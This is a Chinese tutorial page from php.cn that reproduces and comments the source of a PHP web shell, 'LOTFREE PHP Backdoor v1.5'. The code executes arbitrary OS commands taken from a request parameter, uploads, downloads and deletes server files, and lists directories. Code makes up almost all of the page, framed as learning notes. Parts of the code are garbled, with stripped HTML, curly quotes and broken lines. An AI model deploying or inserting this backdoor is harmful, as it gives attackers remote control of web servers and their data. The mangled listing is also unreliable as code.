首頁  >  文章  >  後端開發  >  解釋PHP後門文件

解釋PHP後門文件

WBOY
WBOY原創
2016-07-25 09:13:331976瀏覽

PHP Backdoor Version 1.5是由sirius_black / LOTFREE TEAM編寫的一個php後門程式,這裡對其進行一下簡單解析,也當做自己學習php的筆記,該後門程式成執行後門程式,這裡對其進行一下簡單解析,也當做自己學習php的筆記,該後門程式成執行後門程式,這裡對其進行簡單解析的命令,取決於安裝web伺服器和php時用戶的權限,如果是管理員的話,那就可以執行各種作業系統命令。

以下是一個後門程式的註解


  1. function good_link($link)
  2. {
  3. $link=ereg_replace(“/+”,”/”,$link);
  4. $ link=ereg_replace(“/[^/(..)]+/..”,”/”,$link);
  5. $link=ereg_replace(“/+”,”/”,$link );
  6. if(!strncmp($link,”./”,2) && strlen($link)>2)$link=substr($link,2);
  7. if ($link==”")$link=”.”;
  8. return $link;
  9. }
  10. //$_REQUEST用來取得提交到本文件的資料
  11. $dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:”.”; //如果沒有定義dir,dir取預設值」.”
  12. $dir=good_link($dir);
  13. $rep=opendir($dir); //開啟dir指定的路徑句柄
  14. chdir($dir); //切換到dir指定的目錄
  15. if(isset($_REQUEST["down"]) &&$_REQUEST["down"]!=”") //如果定義了down
  16. {
  17. header(“Content-Type: application/octet-stream”);
  18. header(“Content-Length: “.filesize($_REQUEST["down"]));
  19. header(“Content-Disposition: attachment; filename=”.basename($_REQUEST["down"]));
  20. readfile($_REQUEST["down"]); //將檔案讀取到緩衝區
  21. exit();
  22. }
  23. ?>

  24. LOTFREE PHP Backdoor v1.5,易蹤網yeetrack.com



  25. echo “目前絕對路徑為: ”.getcwd().”
    n”; //取得目前的絕對路徑
  26. echo “dir = '$dir'
    n”;
  27. echo 「目前目錄,檔案清單!

    n」;
  28. //如果已經輸入要執行的指令
  29. if(isset($_REQUEST['cmd']) &&$_REQUEST['cmd']!=”")
  30. {
  31. echo “
    {

  32. echo “n”;

  33. system($_REQUEST['cmd']); //在伺服器上執行輸入的命令,執行結果回顯

  34. echo “n” ;

  35. }

  36. //如果已經上傳了檔案

  37. if(isset($_FILES["fic"]["name"]) && isset($_POST[ "MAX_FILE_SIZE"])) //取得post上來的檔案,儲存到目前目錄

  38. {

  39. if($_FILES["fic"]["size"]
    {

  40. if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link(“./”.$ _FILES["fic"]["name"]))) //將暫存檔案儲存到目前目錄

  41. {

  42. echo “檔案儲存成功”.good_link(“./”. $_FILES["fic"]["name"]).」!
    n”;

  43. }

  44. else echo “檔案上傳失敗: “.$_FILES["fic" ]["error"].”
    n”;

  45. }

  46. else echo “File too large(檔案超出大小限制)!
    n”;

  47. }

  48. if(isset($_REQUEST['rm']) &&$_REQUEST['rm']!=”") //如果定義了rm,即刪除指定的檔案

  49. {

  50. if(unlink($_REQUEST['rm'])) //unlink是php的刪除檔案函數

  51. echo 「成功刪除「.$_REQUEST['rm'] .”!
    n”;

  52. else echo “刪除文件失敗
    n”;

  53. }

  54. ?>





  55. $t_dir=array();

  56. $t_file=array();

  57. $i_dir=0;

  58. $i_file=0;

  59. / /循環輸讀取前的目錄檔,放在t_dir和t_file中

  60. while($x=readdir($rep))

  61. {

  62. if(is_dir( $x)) //如果目前處理的是目錄

  63. $t_dir[$i_dir++]=$x;

  64. else //如果目前處理的是檔案

  65. $ t_file[$i_file++]=$x;

  66. }

  67. closedir($rep); //關閉opendir開啟的目錄句柄

  68. while(1) //循環輸入目前路徑的目錄和檔案

  69. {

  70. ?>




  71. //$_SERVER['PHP_SELF']取得目前php腳本檔名
  72. if($y=each($t_file))
  73. {
  74. if($y ["key"]%2==0) //如果目前處理的是key
  75. echo ” bgcolor='lightgreen'>n”;
  76. else //如果目前處理的是value,即文件。就將該文件展示出來,且提供下載連結。
  77. echo “>n”;
  78. echo “ ”.$y["value"].”n”;
  79. }
  80. else echo“>n”;
  81. ? >

  82. if($y)
  83. {
  84. //如果是文件,就提供以下刪除該文件的連結
  85. if($y["key"]%2==0)echo ” bgcolor='lightgreen'”;
  86. echo “>Del”;
  87. }
  88. else echo “>n”;
  89. ?>


  90. if(!$x && !$y)
  91. break;
  92. }
  93. ?>


  94. if($x=each($t_dir) )

  95. {

  96. $name=$x["value"]; //取得t_dir陣列裡的目錄名稱if($name=='.') {}
  97. elseif($name=='..') echo “ UP(父目錄)

    n”; //展示一個UP連結,讀取父目錄的檔案清單
  98. else
  99. echo “ ”.$name.”n”;
  100. }
  101. ?>





  102. ?dir=”>revenirau repertoire d'origine



  103. ”>
  104. Execute commande(執行作業系統指令)


  105. 上傳檔案到伺服器目前目錄:

  106. ”>




複製代碼





陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn